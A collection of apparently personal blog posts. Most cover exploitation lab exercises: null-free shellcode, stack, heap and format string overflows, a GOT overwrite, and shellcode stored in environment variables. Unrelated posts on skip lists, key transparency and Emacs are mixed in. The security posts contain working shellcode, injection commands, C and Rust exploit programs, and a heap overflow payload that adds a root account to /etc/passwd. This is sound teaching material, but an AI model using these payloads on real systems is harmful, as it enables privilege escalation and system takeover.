
; exit
mov rax, 60
mov rdi, 0
syscall

bottom:
call above
db "Hello, world!", 0x0a

We removed some null bytes.

Use smaller registers

Computers have 16 registers. 64-bit registers are built on top of old registers. For instance, EAX is part of RAX and it contains its first 32 bits.

64-bit register	Lower 32 bits	Lower 16 bits	Lower 8 bits
rax	eax	ax	al
rbx	ebx	bx	bl
rcx	ecx	cx	cl
rdx	edx	dx	dl
rsi	esi	si	sil
rdi	edi	di	dil
rbp	ebp	bp	bpl
rsp	esp	sp	spl
r8	r8d	r8w	r8b
r9	r9d	r9w	r9b
r10	r10d	r10w	r10b
r11	r11d	r11w	r11b
r12	r12d	r12w	r12b
r13	r13d	r13w	r13b
r14	r14d	r14w	r14b
r15	r15d	r15w	r15b

When using bigger registers, values are padded with null bytes if they can’t fill the space. Therefore, we want to use the smallest register possible in each operation. However, the remaining bytes can contain any data. We need to zero them out. This can be easily achieved with the xor operation. Additionally, calling mov register, 0 adds null bytes. We need to use dec register.

BITS 64

jmp short bottom

above:
; write
xor rax, rax
inc al
xor rdi, rdi
inc rdi
pop rsi
xor rdx, rdx
mov dl, 14
syscall

; exit
mov al, 60
dec rdi
syscall

bottom:
call above
db "Hello, world!", 0x0a

We removed all the null bytes!!! This is it. Shellcodes are just a matter of executing system calls and avoiding null bytes. Let’s try it out with a hands-on exercise.

Experiment with shellcode injection

Relevant system information:

Linux 5.15.0-122-generic x86_64
Intel(R) Core(TM) i7-10510U CPU
Little Endian
48 bits address size

All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. Get the source code fromhttps://github.com/intere/hacking/blob/master/booksrc.

We will use two programs from the book: getenvaddr.c andnotesearch.c (that requires hacking.h). We will store the shellcode in an environment variable and inject it into the vulnerable program with a stack-based buffer overflow. If you want to learn more about stack-based buffer overflows and how to take advantage of the environment, you can check Stack-based buffer overflows and Store shellcode in environment variable.

Let’s compile the programs. Notice how we disable all the security measures for the vulnerable program.

gcc getenvaddr.c -o getenvaddr
gcc notesearch.c -o notesearch -fno-stack-protector -z execstack -no-pie -g
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, we have to:

Assemble the shellcode
Export the shellcode into an environment variable
Check the address of the environment variable from the vulnerable program point of view
Inject the code into the vulnerable program

Which translates into the following.

nasm helloworld.asm
export SHELLCODE=$(cat helloworld)
~/Desktop/getenvaddr SHELLCODE ~/Desktop/notesearch
~/Desktop/notesearch $(perl -e 'print "\x90" x 120, "\xab\xef\xff\xff\xff\x7f\x00\x00"')

Cool! We managed to take control of the program and print what we wanted to the stdout. This is rather dull. Let’s try to get a shell prompt!!!

What would this look like in C?

#include <stdlib.h>

int main(int argc, char *argv[]) {
    system("/bin/sh");
}

You can try it out with gcc shell.c -o shell; chmod +x shell; ./shell.

If you search on the internet, you will find thatsystem internally calls execl, which is build on top of theexecve system call. Execve receives three parameters: the program, the argument to the program, and key-value pairs to be passed as the environment. In our case, to spawn a shell, we are only interested in the first argument. Overall, building an assembly program that spawns a shell seems easy. Just call execve with /bin/sh as the program name.

BITS 64

jmp short bottom

above:
; write
xor rax, rax
mov al, 59
xor rdi, rdi
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall

; exit
mov al, 60
dec rdi
syscall

bottom:
call above
db "/bin/sh"

Let’s try to inject it.

nasm shell.asm; \
export SHELLCODE=$(cat shell); \
~/Desktop/getenvaddr SHELLCODE ~/Desktop/notesearch; \
~/Desktop/notesearch $(perl -e 'print "\x90" x 120, "\xb3\xef\xff\xff\xff\x7f\x00\x00"')

We got shell access!!!

Skip List (in Rust) explained!

daniel orihuela — Sat, 18 May 2024 00:00:00 +0000

What’s a Skip List?
- Search
- Insert
- Delete
Rust implementation
- Basic structure
- Search
- Insert
- Delete

What’s a Skip List?

A Skip List is a probabilistic data structure that serves as an alternative to balanced trees. They are simpler to implement and provide logarithmic search, insertion and removal. However, they take up more memory.

Regarding the structure, a Skip List is no more than “n” linked lists. Conceptually, they are stacked on top of each other. For example, the next image shows a Skip List with four layers.

Let’s briefly explain how each of the operations works at a high level. To know all the details, please, read the original whitepaper. After that, we will see a Rust implementation.

Search

We start at the topmost layer of the first node. If the next node value is lower than the value we are searching for, we go forward. Otherwise, we go downwards. If we repeat this in a loop, we will end at a node in the bottommost layer. We just need to check if this node contains the value that we want.

You can see on the next image, marked with a red line, the path the algorithm will follow to search for node 762.

If we search 700, the algorithm would follow the same path until node 641. Since the next node value is 762, which is bigger, it wouldn’t find the value.

Insert

As with searching, we go forward if the value is smaller and downwards if bigger. Now, every time we go downward we will store the pointer of that node. Once we have found the spot to insert our new node, we will visit the nodes where we went down in reverse order and update the successors if the algorithm decides that we need to insert the new node at that level. That is done randomly.

For example, let’s say we want to insert the value 700. First, the algorithm would follow the path marked with a red line in the following image. It would store nodes with values None, 446, and 641. The new node will be inserted between 641 and 762. Then, we proceed to visit node 641 and randomly choose if the new node should be a successor. We repeat that for 446 and None if required.

Delete

This is similar to the insert algorithm. Now, instead of adding a new node, we will visit each node where we went downwards and update the successors to remove the node.

Rust implementation

You can see the full implementationhttps://github.com/danielorihuela/algorithms-and-data-structures/blob/master/list/skip_list/src/main.rs.

Important details for those who want to implement it on Rust.

You can see https://github.com/JP-Ellis/rust-skiplist an advanced implementation.
Building linked lists on Rust is unusually hard. Checkhttps://rust-unofficial.github.io/too-many-lists/ first.

Basic structure

Take into account that we need to init all “forward” vectors to be of length “max_level” to identify the next node of the current layer. Otherwise, you might end up changing from the linked list on layer 3 to the linked list on layer 2 without your knowledge.

struct SkipList<T> {
    head: NonNull<Node<T>>,
    max_level: usize,
}

type Link<T> = Option<NonNull<Node<T>>>;

#[derive(Clone, Debug)]
struct Node<T> {
    // If the value is None, this is the sentinel value
    value: Option<T>,
    forward: Vec<Link<T>>,
}

Search

fn search(&self, v: &T) -> bool {
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &value < v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }
    }

    let node = get_forward(node)[0];
    node.map(value).is_some_and(|n| n.as_ref() == Some(v))
}

Insert

fn insert(&mut self, v: &T) {
    let mut update = vec![None; self.max_level];
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &value < v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }

        // Store nodes where we went downwards
        update[i] = Some(node);
    }

    let node = get_forward(node)[0];
    if node.map(value).is_some_and(|n| n.as_ref() == Some(v)) {
        println!("{} is already in the list", v);
    }

    let level = rand::thread_rng().gen_range(0..self.max_level);
    let mut x = unsafe {
        NonNull::new_unchecked(Box::into_raw(Box::new(Node {
            value: Some(v.clone()),
            forward: vec![None; self.max_level],
        })))
    };

    // For each node where we went downwards
    for i in 0..=level {
        // Update the successors accordingly
        if update[i].is_none() {
            get_forward_mut(&mut x)[i] = get_forward(self.head)[i];
            get_forward_mut(&mut self.head)[i] = Some(x);
        } else {
            get_forward_mut(&mut x)[i] = get_forward(update[i].unwrap())[i];
            get_forward_mut(&mut update[i].unwrap())[i] = Some(x);
        }
    }
}

Delete

fn delete(&mut self, v: &T) {
    let mut update = vec![None; self.max_level];
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &value < v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }

        // Store nodes where we went downwards
        update[i] = Some(node);
    }

    let node = get_forward(node)[0];
    if node.map(value).is_some_and(|n| n.as_ref() == Some(v)) {

        // For each node where we went downwards
        for i in 0..self.max_level {
            if let Some(mut update_i) = update[i] {
                if get_forward(update_i)[i] != node {
                    break;
                } else {
                    // Update the successors accordingly
                    get_forward_mut(&mut update_i)[i] = get_forward(node.unwrap())[i];
                }
            }
        }
    }
}

Format string vulnerability

daniel orihuela — Mon, 29 Jan 2024 00:00:00 +0000

What’s a format string vulnerability?
What’s the problem?
Format String vulnerability demo
Write to memory address
Write arbitrary bytes to memory address
Direct access and short writes
Overwrite Global Offset Table to get a shell
Conclusion

What’s a format string vulnerability?

A format string vulnerability is a type of bug that can happen when we process user input with format strings. For example, C has several functions that allow it to do that. One of them is printf (e.g.printf("I am %i years old", 999);). An attacker can exploit them to read and write to arbitrary memory locations, execute arbitrary code or make the program crash.

What’s the problem?

The main problem is that the format string, when unchecked, let’s user insert format parameters to read and write memory addresses inside and before the stack. For example, let’s take the following C line of code.

printf("hello %x %x", 3, 7);

If we run it, the output will be hello 3 7. The parameters are pushed into the stack in reverse order. It pushes the 7, the 3, and the address of the format string. However, if we remove the 7 and rerun it, we will see something like hello 3 0xbfffff8b. The format string will get the data from where the argument should have been placed. In that case, from the first address below the stack frame.

Format String vulnerability demo

All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. You can get the original source codehttps://github.com/intere/hacking/blob/master/booksrc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);

   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

The code is quite self-explanatory. The vulnerable line of code is:printf(text). Notice that it will print whatever the user feeds to it as input. We can pass any format string that we want. Before continuing, let’s see how to compile the program.

gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -m32

-fno-stack-protector to disable canaries
-no-pie to disable Position Independent Executable
-m32 to compile it as a 32 bit binary

Let’s continue with the exploit. The following image shows two executions.

The first executions gets "something" as input. The output is the expected one. The interesting part is in the second execution, where we pass $(printf "\x2c\xc0\x04\x08").%08x.%08x.%08x.%n as input (the dots are just to make the output clearer). As a result, we overwrite thetest_val variable. How is that possible? Let’s see. The format string is crafted to accomplish three things. First, we push the test_valmemory address into the stack with $(printf "\x2c\xc0\x04\x08"). Second, we read memory address until we reach the data we inserted at the beginning of the format string with %08x.%08x.%08x. I didn’t know beforehand that I needed to read three addresses, I checked it manually. Third and last, we overwrite the data in test_val with the number of characters printed by printf with %n. For clarification, when we call%n, we already traversed all the memory addresses until the one containing \x2c\xc0\x04\x08. Therefore, %n overwrites the data in that memory address, which happens to be test_val.

Similarly, if we increment the width of some of the format string parameters, we can overwrite test_val with higher values.

That’s seemingly stupid thing is really powerful. We can overwrite memory addresses with whatever value we want (e.g another memory address). That’s the idea of the exploit. Let’s jump to the following exercise.

Write to memory address

In that first exercise, we will see how to overwrite the value with the memory address ddccbbaa. Of course, you can follow these steps to overwrite it with any other memory address of your liking. The only prerequisite is that the hexadecimal values of each byte must be greater than the value of the following one.

To write ddccbbaa, we need go byte by byte. We cannot write them at once. That means that $(printf "\x2c\xc0\x04\x08") won’t be enough. We need to push the following three memory addresses into the stack. We can do that with something like$(printf "{address 1}{address 2}{address 3}{address 4}"). Besides, we also need to overwrite them. For example,$(printf "{address 1}{address 2}{address 3}{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n, where each %{number}%n is overwriting one byte. There’s one issue, though. We must add 4 bytes between each memory address so that each%n overwrites the correct memory address. Remember, each format parameter is reading a memory address from the stack. If we don’t add 4 bytes between each address, the %{number}x would read one of the memory addresses we want to overwrite. Thus, we want something similar to$(printf "{address 1}JUNK{address 2}JUNK{address 3}JUNK{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n.

Great! We have the structure, but how do we compute the numbers for each%x?

For the firts byte, we want to execute the command

./fmt.out $(printf "\x2c\xc0\x04\x08JUNK\x2d\xc0\x04\x08JUNK\x2e\xc0\x04\x08JUNK\x2f\xc0\x04\x08").%08x.%08x.%08x.%n

which will give us the value of test_val (56). With that, we can compute the first number with the formula “expected value - initial value + 8”. That will give us the distance from the actual value stored in the variable to the value we want. The ”+ 8” comes from the 8 digits we are inserting in the %08x that appears before %n. We can compute this with gdb.

gdb -q --batch --ex "p 0xaa - 56 + 8"

Now, we can execute the following to get the first byte.

For the following bytes, we have to do the same. However, to compute the numbers, we will use the formula “expected value - previous written value”.

Awesome! We know how to overwrite memory addresses, but we are rather limited. The bytes must be ordered in descending value. What if we want to write any arbitrary memory address? We cannot do something like%-10x%n. What do we do in those situations?

Write arbitrary bytes to memory address

The solution for that is straigth forward. We want to “wrap” the smaller byte. In other words, instead of computing “expected value - previous written value” we will compute “1(expected value) - previous written value” (e.g. 0x1aa - 0xbb given that we want to write 0xaa). The procedure stays the same.

Amazing! But this is to much work, can’t we simplify it a little bit?

Direct access and short writes

There are two ways to simplify the process. First, we can use direct access to avoid writing numerous format parameters. We can use %n$dwhere %n indicates the argument position and $d indicates the format parameter type.

We can simplify what we did in the previous section. Be aware that the structure changes a bit. We want to use$(printf "{address 1}{address 2}{address 3}{address 4}")%{number 1}x%4\$n%{number 2}x%5\$n%{number 3}x%6\$n%{number 4}x%7\$n%. Notice that we no longer need:

the padding between memory addresses
to add 8 when computing the first value

But that’s not all. We can also use short writes to write two bytes at once. We need to use %n$hd, remove the second and fourth memory addresses, and compute the new values.

Pretty neat, eh? With that knowledge, we could get a shell if we wanted to.

Overwrite Global Offset Table to get a shell

The Global Offset Table (GOT) is a section of a computer program that holds the memory addresses of functions that are dinamically linked. It’s useful to call functions from shared libraries. We will rewrite a memory address there with the address of our shellcode, but first, let’s see how to compile the program.

gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -z norelro -z execstack -m32

Notice that we added -z norelro to allow overwriting memory addresses in the GOT, and -z execstack to require executable stack.

We also need to disable the Adress Space Layout Randomization (ASLR) to avoid random memory addreses.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now, the idea is pretty simple. We want to overwrite the memory address of the exit function in the GOT table. For that, we will need a couple of things.

We need a 32 bits shellcode. We can get one with the following C program. I got it from https://shell-storm.org/.

#include <stdio.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  (*(void(*)()) shellcode)();
  return 0;
}

We also need a program to get the shellcode address. We will store in an environment variable.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char *ptr;

  if(argc < 3) {
    printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]); /* get env var location */
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
  printf("%s will be at %p\n", argv[1], ptr);
}

From that point, the procedure is pretty straight forward.

Store shellcode in an environment variable
Get shellcode address
Compute the values we will put at the format string exploit for the given shellcode address
Get exit address in GOT
Exploit

Conclusion

Don’t execute format string inputted by the users. Thanks. That will save you lots of headaches.

How does Key Transparency work?

daniel orihuela — Sat, 06 Jan 2024 00:00:00 +0000

Context
What’s Key Transparency?
How does it work (CONIKS)?
- Data Structures
- Merkle Tree
- User identifier to Public Key map
- Protocol phases
- Registration phase
- Lookup phase
- Monitoring phase
- Cross verification phase
- Some thoughts
How does it work (WhatsApp)?
- Protocol phases
- Registration phase
- Lookup phase
- Challenges
- Some thoughts
Conclusion

Context

Lately, I’ve been thinking about how current e2e messaging applications distribute public keys as part of my job. There are two ways. You trust the service or check that the person you are talking with has the public key in his possession. The latter is better, but users must use a side channel (e.g. meet in person, phone call) to check it. That’s known as Trust On First Use (TOFU). The first time you talk with someone over the service, you don’t know who they are, but you can use a side channel to check it. From that point, you know that this person controls that public key. Unfortunately, this has some disadvantages.

The main reasons are that users won’t bother performing the flow and that doing it with every person is a burden. Besides, this doesn’t work for people who don’t know each other on real life.

Key Transparency was born.

What’s Key Transparency?

Key Transparency is a protocol based on append-only logs. The idea is that the server providing the public keys also gives proofs that it is behaving correctly. Hence, the public key is correct, and you can safely talk with the person controlling it.

How does it work (CONIKS)?

To get an idea, we are going to review theCONIKSimplementation.

Data Structures

Merkle Tree

A Merkle Tree is a tree made of hashes that allows to verify that a node is in the tree. For example, to check that the tree includes the hash in red, we only need the hashes in green. Computing the hashes in a bottom up fashion with the read and green hashes should give us the same root hash.

That’s fast and easy to verify, can be done in the client’s device and allows any user to check that a specific public key is registered in the service. This Merkle Tree is computed from time to time, so we end with root hashes for different epochs. Each new Merkle Tree includes the previous epoch root hash. These chains prevent forking the history. Otherwise, the server could build Merkle Trees with malicious intentions without leaving any trace.

User identifier to Public Key map

We also need a map between public identifiers and public keys. The server hosting the information can be untrusted. If the information is wrong, the client will detect that when verifying the proofs.

Public Identifier	Public Key
6384e2b2184bcbf58eccf10ca7a6563c (alice public id)	alice pk
9f9d51bc70ef21ca5c14f307980a29d8 (bob public id)	bob pk

Protocol phases

Registration phase

User creates a new account their device create a new key pair
Client device creates a new key pair
Client device sends public key to the server
Server adds it to the map
Server computes new Merkle Tree

That’s the simplified flow. However, the Merkle Tree isn’t computed for each new key due to scalability issues. It’s done after specific time intervals (e.g. every 5 minutes). When the time is right, the server creates a snapshot of that epoch. That includes all the new keys added in the last batch.

Lookup phase

Alice asks for the public key of Bob
Server sends public key and inclusion proof
Alice verifies the inclusion proof (the given public key is included in the Merkle Tree)

Alice knows the given public key is inside the Merkle Tree and trusts that it’s Bob’s public key. If it wasn’t, Bob should have notice and raised an alarm somewhere.

Monitoring phase

It works the same as the lookup phase. Alice checks that the service gives her key when someone asks for her public key. Otherwise he can raise the alarm to her contacts.

Cross verification phase

Client asks to different providers to verify the Merkle Tree chain.

Some thoughts

Pretty cool, right? It’s a good step forward to improve public key distribution. However, it has it’schallenges. What time interval should we use to compute epochs? What happens if a new user wants to send a message while the epoch is still building? What if clients can’t ask various providers?

The biggest problem is that this protocol doesn’t work if the company owns the messaging channel and the public key distribution server and there aren’t other providers. We have no assurance that the company didn’t forge the history. Furthermore, they could add two public keys for each user. One controlled by the user and one by the server. That way, they can perform a MITM attack. The server would give the fake key to any user performing the lookup phase and the real key to any user performing the monitoring phase.

How does it work (WhatsApp)?

WhatsApp started with their own implementation of Key Transparency. It might be of more help than CONIKS implementation. The data structures are the same, but the phases change a bit.

Protocol phases

Registration phase

It works the same as in CONIKS.

Lookup phase

Similar to CONIKS. However, the client first asks for the root hash of the last published epoch. Then, the client asks WhatsApp for the public key included in the Merklee Tree with that root hash.

Challenges

We can learn a lot from WhatsApp implementation, especially from the challenges they had to face.

First, how can they distribute root hashes consistently? How can the clients trust they are building Merkle Trees as expected and behaving honestly? Ideally, with a distributed ledger technology like blockchain. However, they are not doing it for now. They have locked down server that the client has to trust. It’s not the best, but a step in the right direction.

Second, what happens if we always look up the latest key? The server could serve a malicious key to Bob, which he will automatically trust. Ideally, this could be detected with Key history checks. Each user would monitor that WhatsApp always represented their public key correctly. However, they didn’t find a way to implement it. Instead, they use dual lookup proofs. Whenever Alice requests a lookup proof for Bob, she will also ask one for her own key.

Some thoughts

That’s a step in the right direction for e2e encryption. We still have to trust WhatsApp server but I hope this won’t happen in the future. More importantly, we can learn a lot from their implementation and challenges in the future.

Conclusion

Key Transparency protocol brings some solutions to current limitations on public key distributions along with some challenges. Google and WhatsApp seem to be doing some work on those areas. Keep a look on them!!!

Heap-based buffer overflows

daniel orihuela — Sun, 19 Nov 2023 00:00:00 +0000

Introduction
Stack vs Heap-based buffer overflows?
System information
Exercise
Bonus points
Conclusion

Introduction

In a previous post, I explained what a stack-based buffer overflow is and how it works. Today, we are going to see the heap-based variant.

Stack vs Heap-based buffer overflows?

The difference between those two types is the region of memory where the exploited variables reside. That’s easy to see in the C language. All variables are stored in the stack unless we use functions to allocate memory in the heap.

# Variables stored in the stack
int auth_flag = 0;
char password_buffer[16];

# Variables stored in the heap
buffer = (char *)ec_malloc(100);

System information

Before starting, let me mention some information about my system. Take them into account if you try to replicate the results. They may vary from machine to machine.

Linux 5.15.0-86-generic x86_64
Intel(R) Core(TM) i7-10510U CPU
Little Endian
48 bits address size

Exercise

We are going to exploit the notetaker.c program from Hacking: The Art of Exploitation, 2nd Edition. You can get the source code athttps://github.com/intere/hacking/blob/master/booksrc. The program creates notes in /var/notes. Creating and modifying files in the root path requires root permissions. Hence, the executable of this program must be owned by the root and have the SUID activated. That way, we can execute it with normal users as if they were root.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "hacking.h"

void usage(char *prog_name, char *filename)
{
  printf("Usage: %s <data to add to %s>\n", prog_name, filename);
  exit(0);
}

void fatal(char *); // A function for fatal errors
void *ec_malloc(unsigned int); // An error-checked malloc() wrapper

int main(int argc, char *argv[])
{
  int userid, fd; // File descriptor
  char *buffer, *datafile;

  buffer = (char *)ec_malloc(100);
  datafile = (char *)ec_malloc(20);
  strcpy(datafile, "/var/notes");

  if (argc < 2) // If there aren't command-line arguments,
    usage(argv[0], datafile); // display usage message and exit.

  strcpy(buffer, argv[1]); // Copy into buffer.

  printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);
  printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);

  // Opening the file
  fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
  if (fd == -1)
    fatal("in main() while opening file");
  printf("[DEBUG] file descriptor is %d\n", fd);

  userid = getuid(); // Get the real user ID.

  // Writing data
  if (write(fd, &userid, 4) == -1) // Write user ID before note data.
    fatal("in main() while writing userid to file");
  write(fd, "\n", 1); // Terminate line.
  if (write(fd, buffer, strlen(buffer)) == -1) // Write note.
    fatal("in main() while writing buffer to file");

  write(fd, "\n", 1); // Terminate line.
  // Closing file
  if (close(fd) == -1)
    fatal("in main() while closing file");
  printf("Note has been saved.\n");
  free(buffer);
  free(datafile);
}

The error is copying the data from argv[1] to the buffer without checking the length. We can overflow the buffer variable if we pass a long enough argument to the executable and overwrite the datafiledata.

buffer = (char *)ec_malloc(100);
datafile = (char *)ec_malloc(20);
strcpy(datafile, "/var/notes");

if (argc < 2) // If there aren't command-line arguments,
  usage(argv[0], datafile); // display usage message and exit.

strcpy(buffer, argv[1]); // Copy into buffer.

Let’s compile the program and give it the proper permissions.

gcc notetaker.c -o notetaker -g
sudo chown root:root notetaker
sudo chmod u+s notetaker

We can write to whatever file we want, testfile for example.

We exploited it!

Bonus points

The exercise is helpful but dull. We can do something more interesting when exploiting that program. We can create a new root user with any password that we want. Let me show you.

In Linux, there’s the /etc/passwd file where the basic information related to users is stored. Each entry includes the login name, hashed password, user id, group id, username, home directory and login shell of a user, separated by colons (e.g. root:x:0:0:root:/root:/bin/bash). We can add a manually prepared entry to /etc/passwd, but how do we create the hashed password?

There are plenty of hashing functions. There’s no constraint in linux, so we can use whichever one we want. I decided to use crypt from perl with a simple password (1234) and salt (AA).

perl -e 'print crypt("1234", "AA"), "\n"'

The result is AA3BKXQMdIWHE. The entry would then look likenewrootuser:AA3BKXQMdIWHE:0:0:root:/root:/bin/bash. There’s still another problem to solve. Remember that for the exploit to work, the final part of the argument must be the file where we want to write the data. It should be something similar tonewrootuser:AA3BKXQMdIWHE:0:0:root:/root:/etc/passwd. However, this is not a valid entry. The last part is no longer a shell, but a file. We can sidestep this problem with a symbolic link. That’s the cool part, pay attention.

mkdir /tmp/etc
ln -s /bin/bash /tmp/etc/passwd

We just created a symbolic link in /tmp/etc/passwd to a shell. That way, we can create a payload that ends with a login shell and the filename we want to overwrite. Pretty slick, right? We can then rewrite the entry as newrootuser:AA3BKXQMdIWHE:0:0:root:/root:/tmp/etc/passwd. The last step is to make it longer to overflow the buffer.

./notetaker $(perl -e 'print "newrootuser:AA3BKXQMdIWHE:0:0:", "A" x 71, ":/root:/tmp/etc/passwd"')

Conclusion

Exploiting heap and stack buffer overflows has the same difficulty. Everything we know about one variant can be applied to the other (as far as I know). They are easy to exploit and protect. However, software engineers should be aware of their existence and how to avoid them. There is no excuse for avoiding them in your programs!

Optimize emacs start up time

daniel orihuela — Sat, 18 Nov 2023 00:00:00 +0000

Introduction
Optimization steps
- Base configuration
- Don’t manipulate UI in init.el
- Garbage collector
- Disable UI
- Autoload packages
- Tangle org file
- Conclusion

Introduction

Emacs is a great tool. However, its loading time can grow huge. In this post, I’ll show you some configurations that helped me reduce the start up time from ~2.45s to ~0.81s.

Optimization steps

To make it more interesting, I’m going to add a section for each optimization along with the time it saved me. That way, you can decide which optimizations you would like to apply.

Base configuration

The base configurationrequires ~2.45s to initialize Emacs. If you check it, be aware that I’m not tangling the section Writing Research in LaTeX. If you tangle it, it needs even more time to load. That’s the starting point.

Don’t manipulate UI in init.el

Manipulating the UI is expensive: disabling UI elements, modifying the font, the theme, etc. I changed a couple of things related to the UI.

Remove the code that hides some of the default UI elements from Emacs.
Remove the code that loads the theme.

With that, we go down to ~2s.

Garbage collector

Emacs uses 8MB as the default value for the garbage collector. As a result, Emacs will call the garbage collector too many times during the start up. Doom emacs has a trick to improve that. We need to add the following code to early-init.el.

(setq gc-cons-threshold 63000000
      gc-cons-percentage 0.6)

With that, we go down to ~1.021s. Half the time from the previous step.

Disable UI

We can hide some UI elements in the early-init.el to gain some performance.

(push '(menu-bar-lines . 0) default-frame-alist)
(push '(tool-bar-lines . 0) default-frame-alist)
(push '(vertical-scroll-bars) default-frame-alist)

With that, we go down to ~0.92s.

Autoload packages

Never require packages. Use use-package to autoload them. For example, we can load the magit the first time we call magit-status.

(use-package magit
  :bind ("C-x g" . magit-status))

With that, we go down to ~0.91s. It’s anecdotal in my case, but it can save you a lot of time if you are using dozens or hundreds of packages.

Tangle org file

Normally, Emacs reads the configuration from the init.el file. However, we can use org mode to include comments with the code. Personally, I had my configuration in a file called config.org. I loaded it from my init.el with the following line of code:

(org-babel-load-file "~/dotfiles/emacs/config.org")

It’s pretty convenient, but slow. We can make it faster by tangling the file directly into the init.el. In other words, we can extract the source code blocks from the org file and create the init.el with them.

# -*- after-save-hook: (org-babel-tangle) -*-
#+property: header-args:elisp :exports code :results none :tangle init.el

With that, we go down to ~0.82s and get the final config.

Conclusion

Emacs is easy to configure, but hard to optimize. Try all the tricks above and check for some more on the internet.

Store shellcode in environment variable

daniel orihuela — Sun, 29 Oct 2023 00:00:00 +0000

Manually store shellcode in env var
Automating the attack

In the previous post we explained how stack-based buffer overflows work. In the last exercise, we inserted the shellcode in the stack. However, this might be a problem. What happens if the shellcode doesn’t fit in the stack? We can store it in an environment variable.

Manually store shellcode in env var

We will export the shellcode manually and use it in our exploit.

Let’s keep working with the notesearch program (the last exercise of the previous post). Remember that the shellcode was\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05. We need to export it as a binary into the env var. Otherwise, the code won’t be executed.

echo -e "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" > shellcode.bin
export SHELLCODE=$(cat shellcode.bin)

The terminal will complain about the encoding but don’t worry. It’s still working.

The next step is debugging the exploit and searching the address where the environment variable is in the stack. Environment variables are in the lowest positions.

env gdb ~/Desktop/overflow/notesearch

We can place a break in the main function to inspect the stack frame.

The shellcode is at 0x7fffffffe975. Notice that if the user adds or removes environment variables, the memory address will change. We can execute~/Desktop/overflow/notesearch $(perl -e 'print "\x90" x 120, "\x75\xe9\xff\xff\xff\x7f"'). Remember, we use the first 120 bytes to reach the return address memory location.

Automating the attack

Another advantage of storing the shellcode in an environment variable is that automating the attack is easier. Cexecle function allows to execute files with the given arguments and environment variables.

int execle(const char *path, const char *arg,..., char * const envp[]);

We can execute the binary with just the shellcode in the environment variables. Hence, we get rid of other environment variables that could modify the memory address. We can use gdb, as before, to get the new memory address. There’s one difference, though. Since we want to debug the program called with execle, we need to allow gdb to debug it. Execute set follow-fork-mode child in gdb and add a break to the main function. It will eventually stop in notesearch. Once there, search the shellcode in the stack frame as we did before.

The exploit in C is quite self-explanatory. We create the argument, the environment and execute notesearch with them.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

char shellcode[]="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05";

int main(int argc, char *argv[]) {
    char buffer[120 + 8];
    memset(buffer, 'a', 120);
    memcpy(&buffer[120], "\x75\xe9\xff\xff\xff\x7f", 8);

    char* env[2] = {shellcode, 0};
    execle("notesearch", "./notesearch", buffer, 0, env);
    free(buffer);
}

The same exploit in Rust.

use std::ffi::OsStr;
use std::process::Command;

fn main() {
    let shellcode = unsafe {
        OsStr::from_encoded_bytes_unchecked(&[
            0x48, 0x31, 0xf6, 0x56, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68,
            0x57, 0x54, 0x5f, 0x6a, 0x3b, 0x58, 0x99, 0x0f, 0x05,
        ])
    };

    let shellcode_address = [0xd3, 0xef, 0xff, 0xff, 0xff, 0x7f];
    let memory = [0x61; 120]
        .iter()
        .chain(shellcode_address.iter())
        .map(|x| *x as u8)
        .collect::<Vec<u8>>();
    let memory_arg = unsafe { OsStr::from_encoded_bytes_unchecked(&memory) };

    Command::new("./notesearch")
        .arg(memory_arg)
        .env_clear()
        .env("SHELLCODE", shellcode)
        .spawn()
